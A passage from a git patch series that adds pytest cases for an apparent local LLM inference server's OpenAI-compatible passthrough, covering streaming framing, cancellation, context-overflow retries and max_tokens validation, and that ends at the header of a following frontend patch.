+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(
+                inf_mod,
+                "_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S",
+                0.01,
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+            )
+
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+
+            first = await asyncio.wait_for(response.body_iterator.__anext__(), timeout = 0.2)
+            assert first == ": keep-alive\n\n"
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+            assert "data: [DONE]\n\n" in body
+
+        asyncio.run(_run())
+
     def test_passthrough_stream_preheader_non_200_in_window(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2055,6 +3036,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             body = "".join(chunks)
             assert "data:" in body
             assert '"error"' in body
+            assert "data: [DONE]" in body
             [entry] = monitor.snapshot()
             assert entry["status"] == "error"
             assert "bad" in entry["error"]
@@ -2117,7 +3099,13 @@ class TestApiMonitorProviderAndCompletionStreams:
                 async for chunk in response.body_iterator
             ]
             body = "".join(chunks)
-            payload = json.loads(body.removeprefix("data: ").strip())
+            events = [
+                line.removeprefix("data: ")
+                for line in body.splitlines()
+                if line.startswith("data: ")
+            ]
+            assert events[-1] == "[DONE]"
+            payload = json.loads(events[0])
             assert payload["error"]["code"] == "context_length_exceeded"
             assert payload["error"]["param"] == "messages"
             assert isinstance(payload["error"], dict)
@@ -2207,6 +3195,105 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_stream_preheader_immediate_context_retry_adopts_delayed_response(
+        self, monkeypatch
+    ):
+        async def _run():
+            import routes.inference as inf_mod
+
+            gate = asyncio.Event()
+            calls = []
+            err_body = json.dumps(
+                {
+                    "error": {
+                        "message": "request (10000 tokens) exceeds the available context size (2048 tokens)",
+                        "n_prompt_tokens": 10000,
+                        "n_ctx": 2048,
+                    }
+                }
+            ).encode("utf-8")
+            ok_lines = [
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{"content":"OK"},'
+                '"finish_reason":null}]}',
+                'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,'
+                '"model":"gguf","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+
+            async def fake_send(_client, req, *_args, **_kwargs):
+                calls.append(json.loads(req.content.decode("utf-8")))
+                if len(calls) == 1:
+                    return httpx.Response(400, content = err_body)
+                await gate.wait()
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                for line in ok_lines:
+                    yield line
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+
+            messages = [
+                ChatMessage(role = "system", content = "system"),
+                *[
+                    ChatMessage(role = "user", content = f"turn {idx} " + ("x" * 1000))
+                    for idx in range(8)
+                ],
+            ]
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = messages,
+                stream = True,
+                context_overflow = "truncate_middle",
+            )
+            response = await asyncio.wait_for(
+                _openai_passthrough_stream(
+                    Request(),
+                    threading.Event(),
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 2048,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "chatcmpl-test",
+                    "chatcmpl-test",
+                    monitor_id = monitor_id,
+                ),
+                timeout = 0.2,
+            )
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            gate.set()
+            chunks = [
+                chunk.decode() if isinstance(chunk, bytes) else chunk
+                async for chunk in response.body_iterator
+            ]
+            body = "".join(chunks)
+
+            assert "OK" in body
+            assert "context_length_exceeded" not in body
+            assert len(calls) == 2
+            assert len(calls[1]["messages"]) < len(calls[0]["messages"])
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
     def test_passthrough_stream_preheader_delayed_request_error_cleans_up(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2647,6 +3734,150 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_completions_omitted_max_tokens_falls_back_to_context(self, monkeypatch):
+        # With no env knobs set, an omitted max_tokens must forward the
+        # backend's context length, exactly as on main.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "ok"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 4096
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_forwards_spec_valid_zero_max_tokens(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": 0}
+
+            captured = []
+
+            class CapturingClient:
+                async def post(self, _url, *, json, **_kwargs):
+                    captured.append(dict(json))
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "cmpl-test",
+                            "choices": [{"text": "", "finish_reason": "length"}],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 0,
+                                "total_tokens": 1,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: CapturingClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            await openai_completions(Request(), current_subject = "test")
+
+            assert captured[0]["max_tokens"] == 0
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_completions_rejects_non_integer_max_tokens_before_forwarding(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/completions")
+                method = "POST"
+
+                async def json(self):
+                    return {"prompt": "hi", "stream": False, "max_tokens": "128"}
+
+            class UnusedClient:
+                async def post(self, *_args, **_kwargs):
+                    raise AssertionError("invalid max_tokens must not reach llama-server")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: UnusedClient())
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    model_identifier = "gguf",
+                ),
+            )
+
+            with pytest.raises(HTTPException) as exc:
+                await openai_completions(Request(), current_subject = "test")
+
+            assert exc.value.status_code == 400
+            assert exc.value.detail["error"]["param"] == "max_tokens"
+            assert exc.value.detail["error"]["code"] == "invalid_type"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_monitor_openai_chunk_records_all_choice_replies(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -2793,6 +4024,8 @@ class TestApiMonitorProviderAndCompletionStreams:
                 yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
                 await asyncio.sleep(3600)
 
+            cancel_id = "passthrough-stream-delete-cancel"
+
             monitor = ApiMonitor(max_entries = 3)
             monkeypatch.setattr(inf_mod, "api_monitor", monitor)
             monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
@@ -2807,6 +4040,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 model = "default",
                 messages = [ChatMessage(role = "user", content = "hi")],
                 stream = True,
+                cancel_id = cancel_id,
                 tools = [
                     {
                         "type": "function",
@@ -2824,6 +4058,7 @@ class TestApiMonitorProviderAndCompletionStreams:
                 SimpleNamespace(
                     base_url = "http://llama.test",
                     context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
                     _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
                 ),
                 payload,
@@ -2835,6 +4070,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             iterator = response.body_iterator
             first = await anext(iterator)
             assert "hello" in first
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
 
             pending = asyncio.create_task(anext(iterator))
             await asyncio.sleep(0)
@@ -2846,6 +4082,7 @@ class TestApiMonitorProviderAndCompletionStreams:
             assert entry["status"] == "cancelled"
             assert entry["reply"] == "hello"
             assert monitor.active_count() == 0
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
 
         asyncio.run(_run())
 
@@ -2931,6 +4168,27 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_usage_done_are_separate_sse_events(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{"role":"assistant"},"finish_reason":null}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                    'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":1,"model":"m","choices":[],"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2}}',
+                ],
+                stream_options = {"include_usage": True},
+            )
+
+            assert (
+                '"usage":{"prompt_tokens":1,"completion_tokens":1,"total_tokens":2' in result.body
+            )
+            assert "data: [DONE]" in result.body
+            assert "}\n\ndata: [DONE]\n\n" in result.body
+            assert "}\ndata: [DONE]\n\n" not in result.body
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2990,6 +4248,407 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_non_streaming_cancel_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = Request(),
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            cancel_event.set()
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_route_registers_cancel_id(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                state = SimpleNamespace()
+                url = SimpleNamespace(path = "/v1/chat/completions")
+                method = "POST"
+
+                async def is_disconnected(self):
+                    return False
+
+            cancel_id = "passthrough-nonstream-cancel-id"
+            client = HangingCancelableClient()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_cancelable_nonstreaming_client", lambda: client)
+
+            def _plain(**_kwargs):
+                raise AssertionError("plain GGUF path should not be used")
+
+            monkeypatch.setattr(
+                inf_mod,
+                "get_llama_cpp_backend",
+                lambda: SimpleNamespace(
+                    is_loaded = True,
+                    is_vision = False,
+                    supports_tools = True,
+                    _is_audio = False,
+                    model_identifier = "test-gguf",
+                    context_length = 4096,
+                    base_url = "http://llama.test",
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    generate_chat_completion = _plain,
+                ),
+            )
+
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                cancel_id = cancel_id,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                openai_chat_completions(
+                    payload,
+                    request = Request(),
+                    current_subject = "test",
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            assert cancel_id in inf_mod._CANCEL_REGISTRY
+            assert inf_mod._cancel_by_cancel_id_or_stash(cancel_id) == 1
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_id not in inf_mod._CANCEL_REGISTRY
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_disconnect_closes_blocked_upstream_post(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class HangingCancelableClient:
+                def __init__(self):
+                    self.started = asyncio.Event()
+                    self.closed = asyncio.Event()
+
+                async def post(self, *_args, **_kwargs):
+                    self.started.set()
+                    await self.closed.wait()
+                    raise httpx.ReadError("client closed")
+
+                async def aclose(self):
+                    self.closed.set()
+
+            class Request:
+                def __init__(self):
+                    self.disconnected = False
+
+                async def is_disconnected(self):
+                    return self.disconnected
+
+            client = HangingCancelableClient()
+            request = Request()
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "_cancelable_nonstreaming_client",
+                lambda: client,
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            cancel_event = threading.Event()
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            task = asyncio.create_task(
+                _openai_passthrough_non_streaming(
+                    SimpleNamespace(
+                        base_url = "http://llama.test",
+                        context_length = 4096,
+                        _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                    ),
+                    payload,
+                    "gguf",
+                    monitor_id = monitor_id,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+            )
+            await asyncio.wait_for(client.started.wait(), 0.2)
+            request.disconnected = True
+
+            with pytest.raises(asyncio.CancelledError):
+                await asyncio.wait_for(task, 0.5)
+
+            assert client.closed.is_set()
+            assert cancel_event.is_set()
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "cancelled"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forwards_backend_auth_headers(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def post(self, *_args, **kwargs):
+                    captured["headers"] = kwargs.get("headers")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _auth_headers = {"Authorization": "Bearer secret"},
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert json.loads(response.body)["choices"][0]["message"]["content"] == "OK"
+            assert captured["headers"]["Authorization"] == "Bearer secret"
+            assert captured["headers"]["Connection"] == "close"
+
+        asyncio.run(_run())
+
+    def test_passthrough_non_streaming_forces_upstream_stream_false(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            captured = {}
+
+            class FakeNonStreamingClient:
+                async def __aenter__(self):
+                    return self
+
+                async def __aexit__(self, *_args):
+                    return False
+
+                async def post(self, *_args, **kwargs):
+                    captured["json"] = kwargs.get("json")
+                    return httpx.Response(
+                        200,
+                        json = {
+                            "id": "chatcmpl-test",
+                            "object": "chat.completion",
+                            "created": 123,
+                            "model": "gguf",
+                            "choices": [
+                                {
+                                    "index": 0,
+                                    "message": {"role": "assistant", "content": "OK"},
+                                    "finish_reason": "stop",
+                                }
+                            ],
+                            "usage": {
+                                "prompt_tokens": 1,
+                                "completion_tokens": 1,
+                                "total_tokens": 2,
+                            },
+                        },
+                    )
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(
+                inf_mod,
+                "nonstreaming_client",
+                lambda: FakeNonStreamingClient(),
+            )
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            await _openai_passthrough_non_streaming(
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                monitor_id = monitor_id,
+            )
+
+            assert captured["json"]["stream"] is False
+            assert "stream_options" not in captured["json"]
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+
+        asyncio.run(_run())
+
     def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
         async def _run():
             result = await self._run_passthrough_stream(
@@ -3009,6 +4668,216 @@ class TestApiMonitorProviderAndCompletionStreams:
 
         asyncio.run(_run())
 
+    def test_passthrough_finish_without_done_closes_stream_early(self, monkeypatch):
+        # Some llama-server builds emit the finish chunk and then hold the HTTP
+        # stream open without sending [DONE]; the terminal classifier must end
+        # the client stream promptly instead of hanging on the open socket.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                await asyncio.Event().wait()  # upstream never closes
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+
+            async def _consume():
+                return [chunk async for chunk in response.body_iterator]
+
+            chunks = await asyncio.wait_for(_consume(), timeout = 2)
+            body = "".join(chunks)
+
+            assert '"finish_reason":"stop"' in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stall_after_finish_closes_cleanly(self, monkeypatch):
+        # include_usage keeps the stream open past the finish chunk waiting for
+        # the usage chunk; if that never arrives, the post-terminal grace path
+        # must close with a clean [DONE], not an in-band error.
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"index":0,"delta":{"content":"hi"},"finish_reason":null}]}'
+                yield 'data: {"choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}'
+                raise httpx.ReadTimeout("usage chunk never arrived")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                stream_options = {"include_usage": True},
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert '"type":"api_error"' not in body.replace(" ", "")
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "completed"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_stall_after_data_emits_error(self, monkeypatch):
+        async def _run():
+            import routes.inference as inf_mod
+
+            class Request:
+                async def is_disconnected(self):
+                    return False
+
+            async def fake_send(*_args, **_kwargs):
+                return httpx.Response(200, content = b"")
+
+            async def fake_items(*_args, **_kwargs):
+                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
+                raise httpx.ReadTimeout("upstream went silent")
+
+            monitor = ApiMonitor(max_entries = 3)
+            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
+            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
+            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
+            monitor_id = monitor.start(
+                endpoint = "/v1/chat/completions",
+                method = "POST",
+                model = "gguf",
+                prompt = "hi",
+            )
+            payload = ChatCompletionRequest(
+                model = "default",
+                messages = [ChatMessage(role = "user", content = "hi")],
+                stream = True,
+                tools = [
+                    {
+                        "type": "function",
+                        "function": {
+                            "name": "lookup",
+                            "parameters": {"type": "object", "properties": {}},
+                        },
+                    }
+                ],
+            )
+
+            response = await _openai_passthrough_stream(
+                Request(),
+                threading.Event(),
+                SimpleNamespace(
+                    base_url = "http://llama.test",
+                    context_length = 4096,
+                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
+                ),
+                payload,
+                "gguf",
+                "chatcmpl-test",
+                monitor_id = monitor_id,
+            )
+            chunks = [chunk async for chunk in response.body_iterator]
+            body = "".join(chunks)
+
+            assert 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n' in body
+            assert '"finish_reason"' not in body.replace(" ", "")
+            assert '"type":"api_error"' in body.replace(" ", "")
+            assert "still processing the prompt" in body
+            assert body.endswith("data: [DONE]\n\n")
+            [entry] = monitor.snapshot()
+            assert entry["status"] == "error"
+            assert "still processing the prompt" in entry["error"]
+            assert entry["reply"] == "hello"
+            assert monitor.active_count() == 0
+
+        asyncio.run(_run())
+
 
 class TestApiMonitorSafetensorsUsage:
     class _Request:
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
index 83bcc5864a..9b22ab8b05 100644
--- a/studio/backend/tests/test_passthrough_healing.py
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -515,6 +515,7 @@ class ScriptedClient:
         _url,
         json = None,
         timeout = None,
+        headers = None,
     ):
         self.posts.append(json)
         return httpx.Response(200, json = self.bodies[min(len(self.posts) - 1, len(self.bodies) - 1)])

From 86602a5389ded2357b53fca54a28ad965224f938 Mon Sep 17 00:00:00 2001
From: alkinun <alkinunl@gmail.com>
Date: Thu, 9 Jul 2026 19:21:49 +0300
Subject: [PATCH 294/306] Studio: auto-load last used local model (#6966)

* Studio: auto-load last used local model

* Studio: handle missing GGUF quant in last-used autoload

* Studio: tighten last-used autoload handling

* Fix

* Honor last-used autoload settings

* Skip recording LoRA auto-loads

* Mirror auto-load runtime state

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 .../src/features/chat/api/chat-adapter.ts     | 409 ++++++++++++------
 .../chat/hooks/use-chat-model-runtime.ts      |  18 +
 .../chat/utils/last-local-model-load.ts       |  86 ++++
 3 files changed, 386 insertions(+), 127 deletions(-)
 create mode 100644 studio/frontend/src/features/chat/utils/last-local-model-load.ts

diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 2ca6ceddf7..ca062bf93c 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -2,6 +2,10 @@
